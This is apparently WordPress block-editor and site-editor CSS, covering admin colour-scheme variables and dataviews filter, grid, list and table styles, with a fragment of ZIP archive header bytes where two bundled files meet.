body.js.block-editor-page ul#adminmenu a.wp-has-current-submenu:after,body.js.block-editor-page ul#adminmenu>li.current>a.current:after{
  border-right-color:#fff;
}
body.js.block-editor-page .media-frame select.attachment-filters:last-of-type{
  max-width:100%;
  width:auto;
}

.block-editor-page #wpwrap{
  overflow-y:auto;
}
@media (min-width:782px){
  .block-editor-page #wpwrap{
    overflow-y:initial;
  }
}

.edit-post-visual-editor.is-iframed,.editor-header,.editor-post-publish-panel,.editor-sidebar,.editor-text-editor{
  box-sizing:border-box;
}
.edit-post-visual-editor.is-iframed *,.edit-post-visual-editor.is-iframed :after,.edit-post-visual-editor.is-iframed :before,.editor-header *,.editor-header :after,.editor-header :before,.editor-post-publish-panel *,.editor-post-publish-panel :after,.editor-post-publish-panel :before,.editor-sidebar *,.editor-sidebar :after,.editor-sidebar :before,.editor-text-editor *,.editor-text-editor :after,.editor-text-editor :before{
  box-sizing:inherit;
}

@media (min-width:600px){
  .block-editor__container{
    bottom:0;
    left:0;
    min-height:calc(100vh - 46px);
    position:absolute;
    right:0;
    top:0;
  }
}
@media (min-width:782px){
  .block-editor__container{
    min-height:calc(100vh - 32px);
  }
  body.is-fullscreen-mode .block-editor__container{
    min-height:100vh;
  }
}
.block-editor__container img{
  height:auto;
  max-width:100%;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}PK1Xd[
v
e�e�dist/edit-site/posts.cssnu�[���@charset "UTF-8";
:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.dataviews-wrapper{
  box-sizing:border-box;
  container:dataviews-wrapper/inline-size;
  display:flex;
  flex-direction:column;
  font-size:13px;
  height:100%;
  line-height:1.4;
  overflow:auto;
  scroll-padding-bottom:64px;
}

.dataviews-filters__container,.dataviews__view-actions{
  box-sizing:border-box;
  flex-shrink:0;
  left:0;
  padding:16px 48px;
  position:sticky;
}
@media not (prefers-reduced-motion){
  .dataviews-filters__container,.dataviews__view-actions{
    transition:padding .1s ease-out;
  }
}

.dataviews-loading,.dataviews-no-results{
  align-items:center;
  display:flex;
  flex-grow:1;
  justify-content:center;
  padding:0 48px;
}
@media not (prefers-reduced-motion){
  .dataviews-loading,.dataviews-no-results{
    transition:padding .1s ease-out;
  }
}

@container (max-width: 430px){
  .dataviews-filters__container,.dataviews__view-actions{
    padding:12px 24px;
  }
  .dataviews-loading,.dataviews-no-results{
    padding-left:24px;
    padding-right:24px;
  }
}
.dataviews-title-field{
  font-size:13px;
  font-weight:500;
  width:100%;
}
.dataviews-title-field,.dataviews-title-field a{
  color:#2f2f2f;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.dataviews-title-field a{
  display:block;
  flex-grow:0;
  overflow:hidden;
  text-decoration:none;
}
.dataviews-title-field a:hover{
  color:var(--wp-admin-theme-color);
}
.dataviews-title-field a:focus{
  border-radius:2px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba);
  color:var(--wp-admin-theme-color--rgb);
}
.dataviews-title-field button.components-button.is-link{
  color:#1e1e1e;
  display:block;
  font-weight:inherit;
  overflow:hidden;
  text-decoration:none;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
.dataviews-title-field button.components-button.is-link:hover{
  color:var(--wp-admin-theme-color);
}

.dataviews-title-field--clickable{
  color:#2f2f2f;
  cursor:pointer;
}
.dataviews-title-field--clickable:hover{
  color:var(--wp-admin-theme-color);
}
.dataviews-title-field--clickable:focus{
  border-radius:2px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba);
  color:var(--wp-admin-theme-color--rgb);
}

.dataviews-bulk-actions-footer__item-count{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.dataviews-bulk-actions-footer__container{
  margin-right:auto;
  min-height:32px;
}

.dataviews-filters__button{
  position:relative;
}

.dataviews-filters__container{
  padding-top:0;
}

.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{
  opacity:0;
}
.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{
  opacity:1;
}

.dataviews-filters__summary-popover{
  font-size:13px;
  line-height:1.4;
}
.dataviews-filters__summary-popover .components-popover__content{
  border-radius:4px;
  width:230px;
}
.dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{
  padding:0;
}

.dataviews-filters__summary-operators-container{
  padding:8px 8px 0;
}
.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox){
  border-bottom:1px solid #e0e0e0;
  padding-bottom:8px;
}
.dataviews-filters__summary-operators-container:empty{
  display:none;
}
.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{
  color:#757575;
}

.dataviews-filters__summary-chip-container{
  position:relative;
  white-space:pre-wrap;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{
  align-items:center;
  background:#f0f0f0;
  border:1px solid #0000;
  border-radius:16px;
  box-sizing:border-box;
  color:#2f2f2f;
  cursor:pointer;
  display:flex;
  min-height:32px;
  padding:4px 12px;
  position:relative;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{
  padding-inline-end:28px;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{
  background:#e0e0e0;
  color:#1e1e1e;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:var(--wp-admin-theme-color);
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{
  background:rgba(var(--wp-admin-theme-color--rgb), .12);
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:none;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{
  font-weight:500;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{
  align-items:center;
  background:#0000;
  border:0;
  border-radius:50%;
  cursor:pointer;
  display:flex;
  height:24px;
  justify-content:center;
  padding:0;
  position:absolute;
  right:4px;
  top:50%;
  transform:translateY(-50%);
  width:24px;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{
  fill:#757575;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{
  background:#e0e0e0;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{
  fill:#1e1e1e;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{
  fill:var(--wp-admin-theme-color);
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:none;
}

.dataviews-filters__search-widget-filter-combobox-list{
  border-top:1px solid #e0e0e0;
  max-height:184px;
  overflow:auto;
  padding:4px;
}
.dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{
  font-weight:600;
}

.dataviews-filters__search-widget-listbox{
  overflow:auto;
  padding:4px;
}

.dataviews-filters__search-widget-listitem{
  align-items:center;
  border-radius:2px;
  box-sizing:border-box;
  cursor:default;
  display:flex;
  gap:8px;
  margin-block-end:2px;
  padding:8px 12px;
}
.dataviews-filters__search-widget-listitem:last-child{
  margin-block-end:0;
}
.dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{
  background-color:var(--wp-admin-theme-color);
  color:#fff;
}
.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-check{
  fill:#fff;
}
.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{
  color:#fff;
}
.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-check{
  flex-shrink:0;
  height:24px;
  width:24px;
}
.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-description{
  color:#757575;
  display:block;
  font-size:12px;
  line-height:16px;
  overflow:hidden;
  text-overflow:ellipsis;
}

.dataviews-filters__search-widget-filter-combobox__wrapper{
  padding:8px;
  position:relative;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
  background:#f0f0f0;
  border:none;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  display:block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:32px;
  line-height:normal;
  margin-left:0;
  margin-right:0;
  padding:0 32px 0 8px;
  width:100%;
}
@media not (prefers-reduced-motion){
  .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
    font-size:13px;
    line-height:normal;
  }
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{
  color:#1e1e1e9e;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{
  color:#1e1e1e9e;
}
@media (min-width:600px){
  .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
    font-size:13px;
  }
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{
  background:#fff;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{
  color:#757575;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{
  -webkit-appearance:none;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon{
  align-items:center;
  display:flex;
  justify-content:center;
  position:absolute;
  right:12px;
  top:50%;
  transform:translateY(-50%);
  width:24px;
}

.dataviews-filters__container-visibility-toggle{
  flex-shrink:0;
  position:relative;
}

.dataviews-filters-toggle__count{
  background:var(--wp-admin-theme-color, #3858e9);
  border-radius:8px;
  box-sizing:border-box;
  color:#fff;
  font-size:11px;
  height:16px;
  line-height:16px;
  min-width:16px;
  outline:var(--wp-admin-border-width-focus) solid #fff;
  padding:0 4px;
  position:absolute;
  right:0;
  text-align:center;
  top:0;
  transform:translate(50%, -50%);
}

.dataviews-search{
  width:fit-content;
}

.dataviews-footer{
  background-color:#fff;
  border-top:1px solid #f0f0f0;
  bottom:0;
  flex-shrink:0;
  left:0;
  padding:12px 48px;
  position:sticky;
  z-index:2;
}
@media not (prefers-reduced-motion){
  .dataviews-footer{
    transition:padding .1s ease-out;
  }
}

@container (max-width: 430px){
  .dataviews-footer{
    padding:12px 24px;
  }
}
@container (max-width: 560px){
  .dataviews-footer{
    flex-direction:column !important;
  }
  .dataviews-footer .dataviews-bulk-actions-footer__container{
    width:100%;
  }
  .dataviews-footer .dataviews-bulk-actions-footer__item-count{
    flex-grow:1;
  }
  .dataviews-footer .dataviews-pagination{
    justify-content:space-between;
    width:100%;
  }
}
.dataviews-pagination__page-select{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}
@media (min-width:600px){
  .dataviews-pagination__page-select .components-select-control__input{
    font-size:11px !important;
    font-weight:500;
  }
}

.dataviews-action-modal{
  z-index:1000001;
}

.dataviews-selection-checkbox{
  --checkbox-input-size:24px;
  flex-shrink:0;
  line-height:0;
}
@media (min-width:600px){
  .dataviews-selection-checkbox{
    --checkbox-input-size:16px;
  }
}
.dataviews-selection-checkbox .components-checkbox-control__input-container{
  margin:0;
}

.dataviews-view-config{
  container-type:inline-size;
  font-size:13px;
  line-height:1.4;
  width:320px;
}

.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{
  height:100%;
  overflow-y:scroll;
}
.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{
  width:auto;
}

.dataviews-view-config__sort-direction .components-toggle-group-control-option-base{
  text-transform:uppercase;
}

.dataviews-settings-section__title.dataviews-settings-section__title{
  font-size:15px;
  line-height:24px;
}

.dataviews-settings-section__sidebar{
  grid-column:span 4;
}

.dataviews-settings-section__content,.dataviews-settings-section__content>*{
  grid-column:span 8;
}

.dataviews-settings-section__content .is-divided-in-two{
  display:contents;
}
.dataviews-settings-section__content .is-divided-in-two>*{
  grid-column:span 4;
}

.dataviews-settings-section:has(.dataviews-settings-section__content:empty){
  display:none;
}

@container (max-width: 500px){
  .dataviews-settings-section.dataviews-settings-section{
    grid-template-columns:repeat(2, 1fr);
  }
  .dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{
    grid-column:span 2;
  }
}
.dataviews-field-control__field{
  height:32px;
}

.dataviews-field-control__actions{
  position:absolute;
  top:-9999em;
}

.dataviews-field-control__actions.dataviews-field-control__actions{
  gap:4px;
}

.dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{
  position:unset;
  top:unset;
}

.dataviews-field-control__icon{
  display:flex;
  width:24px;
}

.dataviews-field-control__label-sub-label-container{
  flex-grow:1;
}

.dataviews-field-control__label{
  display:block;
}

.dataviews-field-control__sub-label{
  color:#757575;
  font-size:11px;
  font-style:normal;
  margin-bottom:0;
  margin-top:8px;
}

.dataviews-view-grid{
  container-type:inline-size;
  grid-template-rows:max-content;
  margin-bottom:auto;
  padding:0 48px 24px;
}
@media not (prefers-reduced-motion){
  .dataviews-view-grid{
    transition:padding .1s ease-out;
  }
}
.dataviews-view-grid .dataviews-view-grid__card{
  height:100%;
  justify-content:flex-start;
  position:relative;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{
  padding:8px 0 4px;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{
  align-items:center;
  display:flex;
  min-height:24px;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{
  width:fit-content;
}
.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{
  color:#1e1e1e;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.dataviews-view-grid .dataviews-view-grid__media{
  aspect-ratio:1/1;
  background-color:#f0f0f0;
  border-radius:4px;
  min-height:200px;
  position:relative;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__media img{
  height:100%;
  object-fit:cover;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__media:after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  left:0;
  pointer-events:none;
  position:absolute;
  top:0;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__fields{
  font-size:12px;
  line-height:16px;
  position:relative;
}
.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){
  padding:0 0 12px;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field-value:not(:empty){
  line-height:20px;
  min-height:24px;
  padding-top:2px;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field{
  align-items:center;
  min-height:24px;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-name{
  color:#757575;
  width:35%;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:65%;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field:not(:has(.dataviews-view-grid__field-value:not(:empty))){
  display:none;
}
.dataviews-view-grid .dataviews-view-grid__badge-fields:not(:empty){
  padding-bottom:12px;
}
@container (max-width: 480px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(1, minmax(0, 1fr));
    padding-left:24px;
    padding-right:24px;
  }
}
@container (min-width: 480px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(2, minmax(0, 1fr));
  }
}
@container (min-width: 780px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(3, minmax(0, 1fr));
  }
}
@container (min-width: 1140px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(4, minmax(0, 1fr));
  }
}
@container (min-width: 1520px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(5, minmax(0, 1fr));
  }
}

.dataviews-view-grid__field-value:empty,.dataviews-view-grid__field:empty{
  display:none;
}

.dataviews-view-grid__card .dataviews-selection-checkbox{
  left:8px;
  position:absolute;
  top:-9999em;
  z-index:1;
}

.dataviews-view-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-grid__card:hover .dataviews-selection-checkbox{
  top:8px;
}

.dataviews-view-grid__media--clickable{
  cursor:pointer;
}

div.dataviews-view-list{
  list-style-type:none;
}

.dataviews-view-list{
  margin:0 0 auto;
}
.dataviews-view-list div[role=row]{
  border-top:1px solid #f0f0f0;
  margin:0;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-wrapper{
  box-sizing:border-box;
  padding:16px 24px;
  position:relative;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-actions{
  flex:0;
  overflow:hidden;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>div{
  height:24px;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-actions .components-button{
  opacity:0;
  position:relative;
  z-index:1;
}
.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions{
  flex-basis:min-content;
  overflow:unset;
  padding-inline-end:4px;
}
.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions .components-button{
  opacity:1;
}
.dataviews-view-list div[role=row].is-selected.is-selected,.dataviews-view-list div[role=row].is-selected.is-selected+div[role=row]{
  border-top:1px solid rgba(var(--wp-admin-theme-color--rgb), .12);
}
.dataviews-view-list div[role=row]:not(.is-selected) .dataviews-view-list__title-field{
  color:#1e1e1e;
}
.dataviews-view-list div[role=row]:not(.is-selected).is-hovered,.dataviews-view-list div[role=row]:not(.is-selected):focus-within,.dataviews-view-list div[role=row]:not(.is-selected):hover{
  background-color:#f8f8f8;
  color:var(--wp-admin-theme-color);
}
.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__title-field{
  color:var(--wp-admin-theme-color);
}
.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:#1e1e1e;
}
.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field{
  color:var(--wp-admin-theme-color);
}
.dataviews-view-list .dataviews-view-list__item{
  appearance:none;
  background:none;
  border:none;
  cursor:pointer;
  inset:0;
  padding:0;
  position:absolute;
  scroll-margin:8px 0;
  z-index:1;
}
.dataviews-view-list .dataviews-view-list__item:focus-visible{
  outline:none;
}
.dataviews-view-list .dataviews-view-list__item:focus-visible:before{
  border-radius:2px;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  inset:var(--wp-admin-border-width-focus);
  outline:2px solid #0000;
  position:absolute;
}
.dataviews-view-list .dataviews-view-list__title-field{
  flex:1;
  line-height:24px;
  min-height:24px;
  overflow:hidden;
}
.dataviews-view-list .dataviews-view-list__title-field:has(a,button){
  z-index:1;
}
.dataviews-view-list .dataviews-view-list__media-wrapper{
  background-color:#f0f0f0;
  border-radius:4px;
  flex-shrink:0;
  height:52px;
  overflow:hidden;
  position:relative;
  width:52px;
}
.dataviews-view-list .dataviews-view-list__media-wrapper img{
  height:100%;
  object-fit:cover;
  width:100%;
}
.dataviews-view-list .dataviews-view-list__media-wrapper:after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}
.dataviews-view-list .dataviews-view-list__field-wrapper{
  flex-grow:1;
  min-height:52px;
}
.dataviews-view-list .dataviews-view-list__fields{
  color:#757575;
  display:flex;
  flex-wrap:wrap;
  font-size:12px;
  gap:12px;
  row-gap:4px;
}
.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:has(.dataviews-view-list__field-value:empty),.dataviews-view-list .dataviews-view-list__fields:empty{
  display:none;
}
.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field-value{
  align-items:center;
  display:flex;
  line-height:20px;
  min-height:24px;
}
.dataviews-view-list+.dataviews-pagination{
  justify-content:space-between;
}

.dataviews-view-table{
  border-collapse:collapse;
  border-color:inherit;
  color:#757575;
  margin-bottom:auto;
  position:relative;
  text-indent:0;
  width:100%;
}
.dataviews-view-table th{
  color:#1e1e1e;
  font-size:13px;
  font-weight:400;
  text-align:left;
}
.dataviews-view-table td,.dataviews-view-table th{
  padding:12px;
  white-space:nowrap;
}
.dataviews-view-table td.dataviews-view-table__actions-column,.dataviews-view-table th.dataviews-view-table__actions-column{
  text-align:right;
}
.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{
  padding-right:0;
  width:1%;
}
.dataviews-view-table tr{
  border-top:1px solid #f0f0f0;
}
.dataviews-view-table tr .dataviews-view-table-header-button{
  gap:4px;
}
.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{
  padding-left:48px;
}
.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{
  margin-left:-8px;
}
.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{
  padding-right:48px;
}
.dataviews-view-table tr:last-child{
  border-bottom:0;
}
.dataviews-view-table tr.is-hovered{
  background-color:#f8f8f8;
}
.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{
  opacity:0;
}
